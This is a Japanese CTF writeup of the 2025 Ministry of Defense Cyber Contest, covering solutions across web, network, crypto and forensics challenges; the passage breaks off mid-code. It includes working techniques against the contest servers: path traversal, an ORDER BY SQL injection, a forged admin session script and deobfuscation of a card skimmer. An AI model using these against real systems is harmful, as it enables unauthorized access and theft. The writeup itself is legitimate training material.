st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏 Please feel free to ask questions in English if that's more comfortable for you👍

防衛省サイバーコンテスト 2025 writeup

2/2に12時間というちょうどよい競技時間で開催された。21時終了だったけれども、11時45分ぐらいに最速で全完して1位🎉 第1回以来4年ぶりの優勝だ。昨年大会の第4回ではヒントの閲覧数で優勝を逃してしまって悔しい思いをしたので、雪辱を果たすことができ嬉しい。開始直後からずっと1位を独走できており、510名のプレイヤーがいる中で圧勝だったのも嬉しい。

昨年度や一昨年度はバルクが作問を担当していたが、今回はAGESTが担当していた。これまでの問題と比較すると全体的に易化したように思うが、解くにあたって発想の大きな飛躍を必要とするいわゆる「エスパー要素」のある問題はごく一部を除いて存在しておらず*1、よかったと思う。また、昨年度・一昨年度に引き続きwriteupは公開可能というのもよかった。

戦略というほどの戦略は立てていなかったけれども、とりあえずWebを見た後は全カテゴリを上から見ていき、数分考えて方針が立たないか実装が面倒だと判断すれば、一旦スキップして次の問題へ進んでいくというように進めていた。そうして最終的に残っていた問題は[TR 100] 合体はロマン, [TR 300] 排他的倫理和, [FR 300] InSecureApk, [PW 300] heapmeowあたり。理由としては、Triviaの2問はちょっとエスパー要素が入っていたためにすぐひらめかなかった、InSecureApkはAPKの改変と実行環境の用意に手間取った、heapmeowはPwnへの苦手意識から後回しにしたという感じ。

以下、writeupを書いていく。問題数が多くいちいち書いているとしんどいというのもあるが、技術的な解説を詳細に書くというよりも、ライブ感を重視して、与えられた情報から何をどういう順序で考えて解いたかということを書きたい。


PG: プログラミング

縮めるだけじゃダメ (100 pts, xxx solves)

添付のExcelファイルからフラグを読み取ってください。

【回答書式】 flag{6桁の半角数字}

添付ファイル: PG-1.xlsm

Excel向けのファイルが与えられている。xlsm という拡張子であるあたりマクロが関わってくるのだろう。とりあえず開いてみると次のような感じだった。 {} の間がハンバーガーボタンのようになっているが、マクロがここになにか書き込むのだろう。

そのまま実行すると怖いのでマクロを読む。次のようなプロシージャが定義されている。なるほど、Sheet1 の各セルの背景色を変えていくらしい。これならばそのまま実行してもよさそうだと思い実行したが、先ほどと表示されるものは変わらない。

Sub GET_FLAG()
Worksheets("Sheet1").Activate
Rows("1:7").RowHeight = 30
Columns("A:AT").ColumnWidth = 30
Range("A1:AT7").Interior.Color = RGB(255, 255, 255)
Range("A1:AT1").Interior.Color = RGB(0, 0, 0)
Range("A3:AT3").Interior.Color = RGB(0, 0, 0)
Range("A5:AT5").Interior.Color = RGB(0, 0, 0)
Columns("D").Interior.Color = RGB(255, 255, 255)
Columns("F").Interior.Color = RGB(255, 255, 255)
Columns("J").Interior.Color = RGB(255, 255, 255)
' …

なんかやってんなと思いつつステップ実行で1行ずつ実行する。すると、フラグを描画した後に、最後の数行で最初の状態に戻していた。なるほど、何も起こっていないように見えるわけだ。

flag{268653}

暗算でもできるけど? (100 pts, xxx solves)

添付のソースコードを実行した際の出力値の68番目の値と、このソースコードから推測される314番目の値を足した数を答えてください。

【回答書式】 flag{n桁の半角数字}

添付ファイル: PG-2.c

次のようなCのコードが与えられる。なにか計算しているらしい。

#include <stdio.h>
int main(){int i,j,k,l;k=(((10/2*4/10*4/2)+97)*10)-10;for(i=2;i<=k;++i){l=0;for(j=2;j<i;++j){if(i%j==0){l=1;break;}}if(l==0)printf("%d\r\n",i);}return 0;}

試しにコンパイルして実行すると、次のように出力された。2, 3, 5, 7…という流れでフィボナッチ数列だと察する。(2025-02-03追記)コメント欄でkoufu193さんにご指摘いただいた通り、これはフィボナッチ数列ではなく素数列だ。なぜ私はそんな勘違いをしていたのか。(追記終わり)

$ gcc -o a PG-2.c
$ ./a | head
2
3
5
7
11
13
17
19
23
29

とはいえ、調べたり自分でそれ用のプログラムを書いたりするのも面倒なので、雑に for 文の条件式である i<=ki<=k*k に変えて再度コンパイルし、なかなか打ち切らないようにする。これで求められている68番目の値と314番目の値が得られた。

$ ./a | sed -n 68p
337
$ ./a | sed -n 314p
2083
flag{2420}

formjacking (200 pts, xxx solves)

添付のファイルは「Card Stealer」と呼ばれるフォームからの入力値を外部へ送信するJavaScriptです。 カード情報が妥当な場合、その値は外部へ送信されるようなので追跡したいです。

【回答書式】 flag{n桁の半角英数記号}

添付ファイル: PG-3.js

Windows Defenderからの怒られが発生するようなJSファイルが落ちてきた。「VirusTotalやその他ファイル解析サービスに問題ファイルをアップロードすることを禁止」するとスコアサーバに書かれていたけれども、意図せず引っかかりそう。

開いてみると次のようなコードが見える。難読化されているけれども、アンダースコアにhexの数値が続いている文字列を識別子に使っている等々の特徴からjavascript-obfuscatorが使われていると推測できる。

これに特化したdeobfuscation用のツールが存在している。これに通すとある程度読みやすくなった。フォームの入力値を外部に送信する処理を探してみると、以下の通り見つかる。

試しにこのURLに対して ?cardnumber=&exp-date=&cvc=a&Skimming=true というクエリ文字列を付けてアクセスしてみると、フラグが返ってきた。

flag{f1iping_de0bfuscat0r}

loop in loop (300 pts, xxx solves)

以下の要件を満たすプログラムを作成してください。 プログラムの言語は問いません。

  1. 引数として以下の値を指定できる。
    • 第一引数:文字列
    • 第二引数:文字列
  2. プログラム内部で引数に以下の処理を加える。
    • それぞれの引数のハッシュ値を求める。ハッシュ関数にはRIPEMD160を使用する。
    • 第一引数のハッシュ値の1文字目と第二引数のハッシュ値の1文字目を抜き出し、それらの値が両方数値だった場合、それらのXORを求める。そうでない場合は何も処理しない。
    • 続いて、第一引数のハッシュ値の1文字目と第二引数のハッシュ値の2文字目を抜き出し、それらの値が両方数値だった場合、それらのXORを求める。そうでない場合は何も処理しない。
    • 同様に、3文字目、4文字目と続け、と第二引数のハッシュ値の最後の文字まで行う。
    • 続けて第一引数のハッシュ値の2文字目に対して第二引数のハッシュ値の1文字目から同様の処理を行う。
    • 同様に第一引数のハッシュ値の3文字目、4文字目と続け、と第一引数のハッシュ値の最後の文字まで行う。
    • それぞれの値を加算する。
    • 加算された値を10進数で出力する。

このプログラムに下記の引数を与えた時に出力される値を答えてください。

  • 第一引数:Phoenix
  • 第二引数:Messiah

【回答書式】 flag{n桁の半角数字}

長い問題文で一瞬ひるんでしまうが、よく見ると大したことは書いていない。Pythonで書くと次のようになる:

from Crypto.Hash import RIPEMD160
from pwn import *

def ripemd160(s):
    h = RIPEMD160.new()
    h.update(s.encode())
    return h.hexdigest()

def h(a, b):
    h1 = ripemd160(a)
    h2 = ripemd160(b)

    r = 0
    for c in h1:
        for d in h2:
            if '0' <= c <= '9' and '0' <= d <= '9':
                r += int(c) ^ int(d)
    
    return r

print(h('Phoenix', 'Messiah'))

実行するとフラグが得られた。

flag{5785}

NW: ネットワーク

頭が肝心です (100 pts, xxx solves)

添付したメールファイルからフラグを探してください。 フラグはこのメールが届くまでに経由した2番目のメールサーバのIPアドレスとします。

【回答書式】 flag{IPアドレス}

添付ファイル: NW-1.eml

次のような eml ファイルが与えられている。祈るなら健闘ではないか。3回まで提出できるので、ファイル中で Received フィールドに出現しているIPアドレスのうち、「2番目」になりそうな内側の2つを投げれば当たりそうだと思いつつも、真面目に考えると下から2番目がそれだ。

Return-Path: <no-return@example.com>
X-Original-To: user@example.com
Delivered-To: user@example.com
Received: from smtp.example.com ([172.30.55.96])
    by rfs.example.com; Thu, 28 Dec 2023 17:47:05 +0900 (JST)
Received: from ex.example.com ([10.231.24.42])
    by smtp.example.com; Thu, 28 Dec 2023 17:45:21 +0900 (JST)
To: user@example.com
Subject: [CTF] Mail From NW
From: sender@example.com
Received: from mx.example.com ([172.16.25.39])
    by ex.example.com; Thu, 28 Dec 2023 17:32:47 +0900 (JST)
Received: from mail.example.com ([192.168.52.21])
    by mx.example.com; Thu, 28 Dec 2023 17:32:38 +0900 (JST)
Received: by mail.example.com (Postfix, from userid 33)
    id DE79A41AF7; Thu, 28 Dec 2023 17:32:24 +0900 (JST)
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-2022-JP
Content-Transfer-Encoding: 7bit
Message-Id: <20231228083224.DE79A41AF7@example.com>
Date: Thu, 28 Dec 2023 17:51:24 +0900 (JST)

参加者各位

このメールはサイバーコンテストにおける問題[NW]のメールです。
メールの中からフラグを見つけてください。
ご検討を祈ります。
flag{172.16.25.39}

3 Way Handshake? (200 pts, xxx solves)

添付したのはTCPポートスキャン時のパケットログです。 オープンポートを見つけてください。 オープンしているポート番号を小さい順に「,(カンマ)」で区切って答えてください。

【回答書式】 flag{n1,n2,n3,.....}

添付ファイル: NW-2.pcap

与えられたpcapをWiresharkで開くと、次のように表示される。

まず出現する2つのIPアドレスのうちどちらがポートスキャンを行っている方か。SYNパケットを送っている 192.168.123.103 だ。では、ポートが開いているかどうかはどう判断すればよいか。SYN/ACKパケットが返ってきていれば開いている。

ということで、これらを合わせた ip.src == 192.168.123.115 && tcp.flags.syn == 1 というフィルタを適用することで開いているポートが一覧できる。

flag{21,23,37,70,79,98,109,110,111,113,143,513,514,1025,50506}

さあ得点は? (200 pts, xxx solves)

添付されたパケットファイルから攻撃を特定し、その攻撃のCVEを調べてください。 その攻撃のCVSS Version2.0のBaseScoreがフラグです。 CVSSのスコアはNISTで公開されている値とします。 https://nvd.nist.gov/

【回答書式】 flag{数値}

添付ファイル: NW-3.pcap

たくさんHTTPリクエストを送っている様子をキャプチャしたpcapファイルが与えられている。いずれも以下のような様子だ。Range ヘッダでちょっとずつコンテンツを得ようとしているにしては、刻みすぎでおかしい。そもそも HEAD メソッドであるのもおかしいし、Request-Range ヘッダも非標準ではないか。

HEAD / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
HOST: 192.168.123.116
Range: bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10
Request-Range: bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

試しに「"Request-Range" vulnerability」でググるとそれっぽい脆弱性が見つかる。CVE-2011-3192のCVSS 2.0でのスコアは7.8だ。

flag{7.8}

decode (300 pts, xxx solves)

添付のパケットファイルからフラグを探してください

【回答書式】 flag{n桁の半角英数記号}

添付ファイル: NW-4.zip

ZIPファイルを展開すると、次のように大量のpcapが出てきた。__MACOSX も混入しているが今回はどうでもよさそう。いちいち開いていくのが面倒なので mergecap -a *.pcap -w o.pcap でマージする。

$ ls
NW-4_00000_20241223122052.pcap  NW-4_00007_20241223122055.pcap  NW-4_00014_20241223122056.pcap
NW-4_00001_20241223122053.pcap  NW-4_00008_20241223122055.pcap  NW-4_00015_20241223122057.pcap
NW-4_00002_20241223122053.pcap  NW-4_00009_20241223122055.pcap  NW-4_00016_20241223122057.pcap
NW-4_00003_20241223122054.pcap  NW-4_00010_20241223122055.pcap  NW-4_00017_20241223122057.pcap
NW-4_00004_20241223122054.pcap  NW-4_00011_20241223122056.pcap  NW-4_00018_20241223122058.pcap
NW-4_00005_20241223122054.pcap  NW-4_00012_20241223122056.pcap  __MACOSX
NW-4_00006_20241223122055.pcap  NW-4_00013_20241223122056.pcap 

pcapを眺めていると、次のような気になるHTTPのやり取りがあった。これが複数のファイルに対して行われている。/9j/ から始まっているあたり、テキストはBase64エンコードされたJPEGだろうとひと目でわかる。正しい画像を見つけろということだろう。

GET /image.php?filename=c62face26fe732c2a70fb2e2ec7bebe1 HTTP/1.1
Host: 52.195.222.109:8888
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: */*
Referer: http://52.195.222.109:8888/
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8

HTTP/1.1 200 OK
Host: 52.195.222.109:8888
Date: Mon, 23 Dec 2024 03:20:53 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Content-Type: application/json
Access-Control-Allow-Origin: *

{"image":"\/9j\/4AAQSkZJRgABAQEAYABgAAD\/\/gA7Q1JFQVRPUjogZ2QtanBlZyB2MS4wICh1c2luZyBJSkcgSlBFRyB2ODApLCBxdWFsaXR5ID0gNjUK…"}

Scapy等を使えばきれいに解けるだろうと思いつつ、わざわざ使い方を調べるのも面倒だったのと、見たところ取得されているファイルが10個ほどしかなかったので、手作業でレスポンスに含まれるBase64エンコードされたテキストを切り出す。そして、次のスクリプトでデコードする。

import json
import base64

with open('s.txt', 'r') as f:
    for i, line in enumerate(f.readlines()):
        if line.strip() == '':
            continue
        b = json.loads(line)['image']
        with open(f'out/{i}.jpg', 'wb') as f:
            f.write(base64.b64decode(b))

出力された画像を見ると、6.jpg にフラグが含まれているとわかる。

flag{c4ptur3_cat}

WE: Webアプリケーション

簡単には見せません (100 pts, xxx solves)

https://we1-prod.2025winter-cybercontest.net/

【回答書式】 flag{n桁のアルファベット}

与えられたURLにアクセスすると、「このページにフラグはありません」と表示される。HTMLも特に気になるものはない。となると、まず試すのは /robots.txt だ。アクセスすると、次のようにアクセスしてほしくないだろうディレクトリの一覧が得られた。

User-Agent:*
Disallow:/
Disallow:/red/
Disallow:/gold/
Disallow:/yellow/
Disallow:/blue/
Disallow:/pink/
Disallow:/black/

一つ一つ試していくと、/blue/ でこのディレクトリに存在するファイルの一覧が表示された。

/blue/flg/ にアクセスすると「このページにフラグがあります」と表示される。フラグは表示されていない。HTMLを見てみると、コメントとしてフラグが含まれていた。

<!DOCTYPE html>
<html lang="ja-JP">
<head>
<meta charset="utf-8" />
<title>WE-1</title> 
</head>
<body>
<h2>このページにフラグがあります</h2>
</body>
</html>
<!-- flag{TakeMeToTheFlag} -->
flag{TakeMeToTheFlag}

試練を乗り越えろ! (100 pts, xxx solves)

下記のURLからフラグを入手してください。

https://we2-prod.2025winter-cybercontest.net/

【回答書式】 flag{n桁のアルファベット}

与えられたURLにアクセスすると、次のような質問をされる。1問目からその質問をするのは初めて見た。1 と答えると、次は2問目として同じ質問がされる。自動化するなりチートするなりしろということか。

まず自動化したいと考えた。そのためにもどういうリクエストが送られているかチェックしたい。ChromeのDevToolsでNetworkタブを開きつつフォームを送信すると、qCount=2&answer=1&submit=%E9%80%81%E4%BF%A1 というようなパラメータでPOSTされているのがわかる。qCount で今何問目かも送っているらしい。では、DevToolsで input 要素をいじって qCount10000 にしてしまおう。

フォームを送信するとフラグが得られた。

flag{WinThroughTheGame}

直してる最中なんです (200 pts, xxx solves)

下記のサイトから脆弱性のあるアプリケーションを特定し、その脆弱性を利用してフラグを入手してください。

https://we3-prod.2025winter-cybercontest.net/

フラグが記載されているファイルは下記の通りです。 /etc/WE-3

【回答書式】 flag{25桁の半角英数字}

/etc/WE-3 とわざわざフラグが含まれているファイルのパスを教えてくれるあたりから、Path Traversalなんだろうなあと察する。与えられたURLにアクセスすると、次のように石の写真5枚が表示された。

これらの画像は <img src="stone/WE-3-01.png" height="50" /> のように img 要素で読み込まれているが、<!-- <button onClick="dlFIle('WE-3-01')">ダウンロード</button> --> とコメントアウトされている button もある。クリックすると dlFIle 関数でファイルをダウンロードできるようにしたかったらしい。

<!--<script type="text/javascript" src="secret/download.js"></script>--> とコメントアウトされている script もある。/secret/download.js にアクセスすると、次のようなJSコードが降ってきた。ファイルダウンロード用のAPIを叩けそうだ。やってみよう。

function dlFIle(file){
    var dataS = 'fName=' + file;
    var xhr = new XMLHttpRequest();
    xhr.open('POST','/secret/download.php');
    xhr.send(dataS);
    xhr.onload = function() {
        var strS = xhr.responseText;
    };
}

var strS = xhr.responseText;console.log(xhr.responseText) に変えてレスポンスを表示するようにした上で、DevToolsのConsoleタブでこの関数を定義する。dlFIle('/etc/WE-3') を実行するが、次のようなレスポンスが返ってくる。fName が定義されていないということで、$_POST['fName'] (たぶん)に指定したファイル名が入っていないらしい。

<br />
<b>Warning</b>:  Undefined array key "fName" in <b>/var/www/html/secret/download.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /var/www/html/secret/download.php:2) in <b>/var/www/html/secret/download.php</b> on line <b>8</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /var/www/html/secret/download.php:2) in <b>/var/www/html/secret/download.php</b> on line <b>9</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /var/www/html/secret/download.php:2) in <b>/var/www/html/secret/download.php</b> on line <b>10</b><br />
<br />
<b>Deprecated</b>:  readfile(): Passing null to parameter #1 ($filename) of type string is deprecated in <b>/var/www/html/secret/download.php</b> on line <b>11</b><br />
<br />
<b>Fatal error</b>:  Uncaught ValueError: Path must not be empty in /var/www/html/secret/download.php:11
Stack trace:
#0 /var/www/html/secret/download.php(11): readfile('')
#1 {main}
  thrown in <b>/var/www/html/secret/download.php</b> on line <b>11</b><br />

よく見ると、先程の関数では Content-Type ヘッダが適切に設定されていなかった。xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); を先程の関数に追加して、改めて dlFIle('/etc/WE-3') を実行するとフラグが得られた。ところで、ダウンロードさせるだけなら <a src="stone/WE-3-05.png" download>…</a> で十分なのではないか。

flag{fGrantUB56skBTlmF14mostFP}

直接聞いてみたら? (200 pts, xxx solves)

下記のURLはAPIテストのためのフォームです。 ここからフラグを入手してください。

https://we4-prod.2025winter-cybercontest.net/

【回答書式】 flag{n桁のアルファベット}

与えられたURLにアクセスすると、次のようなチェックボックス付きのフォームが表示される。

DevToolsのNetworkタブを開きつつ適当な項目にチェックを入れて問い合わせると、/json.phpdata=W3sibmFtZSI6Im5hbWUiLCJ2YWx1ZSI6Im9uIn0seyJuYW1lIjoidGVsIiwidmFsdWUiOiJvbiJ9XQ== というパラメータが送信されていた。これをBase64デコードすると [{"name":"name","value":"on"},{"name":"tel","value":"on"}] というJSONが出てくる。なるほど、これでフォームにはないけどDBにはある項目を指定しろということだろうか。どうせ flag, secret, key, password あたりだろう。

雑に以下のように nameflag である input を生やしつつ、フォームを送信する。

DevToolsのNetworkタブでレスポンスを確認すると、フラグが返ってきていた。

整列! (300 pts, xxx solves)

旗の下に必要な者だけが正しく並べばいいのです。

https://we5-prod.2025winter-cybercontest.net/

【回答書式】 flag{n桁の英数字}

与えられたURLにアクセスすると、次のようなテーブルが表示された。

ID カラムに存在している Up ボタンを押すと、?sort=id+ASC にリダイレクトされつつ ID の昇順でこれらのデータが表示された。?sort=flagSeq+ASC に変えてみると、次のようにフラグが1文字ずつ表示される…が、途中で切れているように見える。sort パラメータの値はSQLにおける ORDER BY の内容に見えるし、LIMIT でも指定されているのだろうか。

SQLiによる LIMIT の無効化を期待して ?sort=flagSeq+ASC%23 にアクセスすると、いい感じにフラグの後ろの部分も得られた。

flag{6f24d2267d87b7b232ed0d6ed3ad2924}

CY: 暗号

エンコード方法は一つじゃない (100 pts, xxx solves)

以下の文字列をデコードしてFlagを答えてください。

%26%23%78%35%35%3b%26%23%78%36%33%3b%26%23%78%36%31%3b%26%23%78%36%65%3b%26%23%78%34%32%3b%26%23%78%37%64%3b%56%6d%46%79%61%57%39%31%63%30%56%75%59%32%39%6b%61%57%35%6e%63%77%3d%3d%36%36%36%63%36%31%36%37%37%62

【回答書式】 flag{n桁のアルファベット}

じゃん! まず、明らかにパーセントエンコーディングであるのでCyberChefでデコードする。すると、次のような文字列が出てきた。たしかに、エンコード方法はひとつ! じゃない!!

&#x55;&#x63;&#x61;&#x6e;&#x42;&#x7d;VmFyaW91c0VuY29kaW5ncw==666c61677b

それぞれ、HTMLの数値文字参照、Base64、hexだろう。これらもCyberChef等でデコードすると、それぞれ UcanB}, VariousEncodings, flag{ となる。逆順にしてくっつけるとフラグになった。問☆題☆解☆決!

flag{VariousEncodingsUcanB}

File Integrity of Long Hash (100 pts, xxx solves)

添付のZIPファイルの中から下記のファイルを探してください。 フラグはそのファイルの中に書かれています。

189930e3d9e75f4c9000146c3eb12cbb978f829dd9acbfffaf4b3d72701b70f38792076f960fa7552148e8607534a15b98a4ae2a65cb8bf931bbf73a1cdbdacf

【回答書式】 flag{22文字の半角英数字}

まずそのhexの文字列はなんなんだというところだけれども、128ケタであるあたりどうせSHA-512だろう。flags.zip を展開すると90個のテキストファイルが出てくる。ということで、SHA-512でのハッシュ値が 1899… であるファイルを探すと見つかった。

$ sha512sum * | grep 1899
189930e3d9e75f4c9000146c3eb12cbb978f829dd9acbfffaf4b3d72701b70f38792076f960fa7552148e8607534a15b98a4ae2a65cb8bf931bbf73a1cdbdacf  flags_89.txt
$ cat flags_89.txt
flag{346D895B8FF3892191A645}
flag{346D895B8FF3892191A645}

Equation of ECC (200 pts, xxx solves)

楕円曲線のパラメータは以下の通りとします。

a=56,b=58,p=127

基準点(42,67)と設定した場合、公開鍵の値が下記になる秘密鍵の最も小さい値を答えてください。

公開鍵(53,30)

【回答書式】 flag{半角数字}

面倒だなあと思ってChatGPTに丸投げしたところ、いい感じのコードを吐いてくれた。

flag{16}

PeakeyEncode (300 pts, xxx solves)

文字化けした文が送られてきました。送信者によるとこの文字化けはインターネットから探してきたロジックを使って暗号化を施したかったそうです。 暗号化した際の環境が送られてきているので復号ができないでしょうか。

添付ファイル: script.rb, encryption, Dockerfile

script.rb は次の通り。Rubyだ。テキストのうち ><+-.,[] の8種類の文字について絵文字に置換しているようだが、どういうわけか絵文字を使っているのにShift_JISへ強引に変換してからUTF-8にしている。おいおい。

require './encode.rb'
flag = File.open("flag", "r").read()
generate = PeakeyEncode.new.generate(flag)
generate = generate.gsub(">", "🚒")
generate = generate.gsub("<", "😭")
generate = generate.gsub("+", "😡")
generate = generate.gsub("-", "🙌")
generate = generate.gsub(".", "🌺")
generate = generate.gsub(",", "✍️")
generate = generate.gsub("[", "😤")
generate = generate.gsub("]", "🐈")

sjis = generate.force_encoding(Encoding::SJIS)
p sjis.encode(Encoding::UTF_8)

encryption にはこのスクリプトを使ってエンコードされたテキストが含まれているが、案の定壊れている。

壊れてしまったものは仕方がないので強引に直していこう。まずどのような文字が含まれているか確認したい。UTF-8としてデコードし、2文字を1単位としてどのようなパターンが出現しているか確認すると、次のように3つしかないことがわかる。

置換対象となっていた8種類の文字はBrainf*ckの命令セットに見える。PeakeyEncode.new.generate は引数の文字列を出力するBrainf*ckコードを吐き出す関数だろう。そのうち3種類しか出現しないということは、まず文字の出力に使われる .、それからメモリの値を増減させるのに使われる +- しかないのだろう。-> の可能性も一応ある。Brainf*ckではコードを短くするために [] が使われることも多いが、今回は使われていないのだろう。

$ cat s.py
import re
s = open('encryption', 'rb').read().decode('utf-8')
t = set(re.findall(r'.{2}', s))
print(t)
$ python3 s.py 
{'\ue05e剏', '\ue05e丕', '\ue05e玄'}

では、元のBrainf*ckコードを手に入れるための対応表を作ろう。最後に出現しているから \ue05e玄.、最初に出現しているから \ue05e丕+、残った \ue05e剏- (か >)だ。こうして、元のBrainf*ckコードが手に入れられた。

$ cat solve.py
import re
s = open('encryption', 'rb').read().decode('utf-8')

s = s.replace('\ue05e丕', '+')
s = s.replace('\ue05e玄', '.')
s = s.replace('\ue05e剏', '-')
print(s)
$ python3 solve.py
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.++++++.-----------.++++++.++++++++++++++++++++.--.----------.++++++.----------------------.++++++++++++.+++.+.++++++++.------------------------.+++.++++++++++++++++.-----------------.------------------------------------------------.+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.+++++++++++++++.

これを適当なインタプリタで実行するとフラグが得られた。

flag{you_know_bra1n}

FR: フォレンジック・バイナリ解析

露出禁止! (100 pts, xxx solves)

添付のログファイルから脆弱性を特定し下記のサイトからフラグを手に入れてください。

https://fr1-prod.2025winter-cybercontest.net/

【回答書式】 flag{n桁のアルファベット}

添付ファイル: FR-1.log

次のようなアクセスログが与えられている。セッションIDと思われる文字列をBase64デコードすると 1722312417,3,user3\n1722334192,1,admin\n のような文字列が出てくる。カンマ区切りで、それぞれなんらかのタイムスタンプ、ユーザID、ユーザ名といったところだろうか。

192.168.100.103 - - [10/Jul/2024:15:36:01 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.103 - - [10/Jul/2024:15:36:03 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.103 - - [10/Jul/2024:15:36:05 +0900] "GET /mypage.php?sesid=MTcyMjMxMjQxNywzLHVzZXIzCg== HTTP/1.1" 200 281
192.168.100.106 - - [10/Jul/2024:15:40:03 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.106 - - [10/Jul/2024:15:40:08 +0900] "POST /auth.php HTTP/1.1" 302 -
…
192.168.123.101 - - [19/Jul/2024:21:54:51 +0900] "GET /mypage.php?sesid=MTcyMjMzNDE5MiwxLGFkbWluCg== HTTP/1.1" 200 282
…

アクセスログに含まれるセッションIDを使いまわそうとしたところ「セッションの有効期限が切れました。再度ログインしてください」と怒られた。では、セッションIDに含まれるタイムスタンプはセッションの発行日時だろう。今発行されたことにしてリクエストを送るスクリプトを書く。

import base64
import time
import httpx

with httpx.Client(base_url='https://fr1-prod.2025winter-cybercontest.net/') as client:
    sess = str(int(time.time())) + ',1,admin\n'
    sess = base64.b64encode(sess.encode()).decode()
    r = client.get(f'/mypage.php?sesid={sess}')
    print(r.text)

実行するとフラグが得られた。ちなみに、このセッションは1秒で有効期限が切れる。使いづらすぎないか。(2025-02-03追記)よく考えると、このタイムスタンプはセッションの作成日時ではなく有効期限だろう。であれば普通だ。(追記終わり)

flag{SessionIDsCarefully}

成功の証 (200 pts, xxx solves)

フラグは攻撃者が見つけ出した「パスワード」とします。

【回答書式】 flag{パスワード}

添付ファイル: FR-2.pcap

FTPで大量にログインを試行している様子が記録されたpcapファイルが与えられている。

Wiresharkで開き、「info」カラムでソートしてみると、ひとつだけ 230 Login successful. と返ってきているレスポンスがある。

一連の流れを確認してみると、以下のように zyyzzyzy がパスワードであるとわかる。

220 (vsFTPd 3.0.3)
USER agita
331 Please specify the password.
PASS wwwww
530 Login incorrect.
USER agita
331 Please specify the password.
PASS yyyyyyyy
530 Login incorrect.
USER agita
331 Please specify the password.
PASS zyyzzyzy
230 Login successful.
flag{zyyzzyzy}

犯人はこの中にいる! (200 pts, xxx solves)

下記のパケットログは、攻撃のフェーズにおいて特定のサーバにポートスキャンを行ったと思われていたものです。 実は、これは内部にいる攻撃者が外部IPアドレスを偽証したものです。 本当の内部にいる攻撃者のIPアドレスを見つけてください。

添付ファイル: FR-3.pcap

与えられたpcapファイルを開くと、複数のプライベートIPアドレスがpingを行った後に、59.214.32.56 からポートスキャンが行われている様子が記録されていることがわかる。たしかに、ポートスキャン時にはグローバルIPアドレスになっている。

では、どのような情報が使えるか。Ethernetフレームの送信元MACアドレスは 00:0c:29:4d:c2:33 であった。eth.addr == 00:0c:29:4d:c2:33 というフィルターを適用すると、ICMPのパケットからこれに対応するプライベートIPアドレスが 192.168.204.137 であるとわかった。

flag{192.168.204.137}

chemistry (300 pts, xxx solves)

添付のプログラムは実行時に引数として数字を与えることができます。 このプラグラムで「FLAG I AM LUCKY」と表示させるための引数を答えてください。

複数の引数を送る場合は、「,(カンマ)」で区切ってください。 スペースは「0」を送ってください。

【回答書式】 flag{数値,数値,.....}

添付ファイル: FR-4

amd64のELFが与えられている。Binary Ninjaでデコンパイルする。main は次の通り。コマンドライン引数をカンマで区切りつつ、asciiChange という関数で数値を文字列に変換している。

int32_t main(int32_t argc, char** argv, char** envp)

{
    int32_t argc_1 = argc;
    
    if (!argv[1])
        printf("[INPUT CODE]");
    else
    {
        char* i = strtok(argv[1], u",");
        asciiChange(i);
        
        while (i)
        {
            i = strtok(nullptr, u",");
            
            if (i)
                asciiChange(i);
        }
    }
    
    putchar(0xa);
    return 0;
}

asciiChange は次の通り。なんと curl で対応する文字列を取得している。マジか。

int32_t asciiChange(char* arg1)

{
    int64_t line;
    __builtin_strncpy(&line, "curl https://fr4.2025winter-cybercontest.net/chemistry?flagSeed=", 0x50);
    strcat(&line, arg1);
    int32_t rax_1 = atoi(arg1);
    
    if (rax_1 < 0 || rax_1 > 0x76)
        return printf("[CODE ERROR]");
    
    int32_t result = system(&line);
    
    if (result != 0xffffffff)
        return result;
    
    return printf("[Command Error[");
}

雑に数値に対応する文字列を取ってくるスクリプトを書く。

import httpx
for i in range(0x76):
    r = httpx.get(f'https://fr4.2025winter-cybercontest.net/chemistry?flagSeed={i}')
    print(i, r.text)

これで対応表ができあがったので、手作業で FLAG I AM LUCKY が出力されるような数値の列を求める。

$ ./FR-4 114,47,0,53,0,95,0,71,6,19,39
FLAG I AM LUCKY
flag{114,47,0,53,0,95,0,71,6,19,39}

InSecureApk (300 pts, xxx solves)

管理者だけが使えるAndroidアプリを作成しました。 このアプリはパスワードを入れないと使うことができません。 そのパスワードがフラグとなっています。

【回答書式】 flag{n文字のアルファベット}

添付ファイル: FR-5.apk

APKファイルが与えられている。JADXでデコンパイルする。jp.go.cybercontest.insecureapk.MainActivity の重要な部分は次の通り。入力したテキストを SecretGenerator.decode でデコードした結果が VUSTIq@H~]wGSBVH になればよいらしい。

        @Override // android.view.View.OnClickListener
        public void onClick(View view) {
            EditText input = (EditText) MainActivity.this.findViewById(R.id.inputText);
            TextView output = (TextView) MainActivity.this.findViewById(R.id.flush);
            int id = view.getId();
            if (id == R.id.button) {
                String inputStr = input.getText().toString();
                if (inputStr.length() != 16) {
                    output.setText("Incorrect.");
                    return;
                }
                String compare = SecretGenerater.decode(inputStr);
                if (compare.equals("VUSTIq@H~]wGSBVH")) {
                    output.setText("Congratulations! you got flag.");
                } else {
                    output.setText("Incorrect.");
                }
            }
        }

SecretGenerator.decode の定義は次の通り。System.loadLibrary("insecureapp") ということで、ネイティブライブラリの checkNative という関数を使っているらしい。解析が面倒くさそうだ。

public class SecretGenerater {
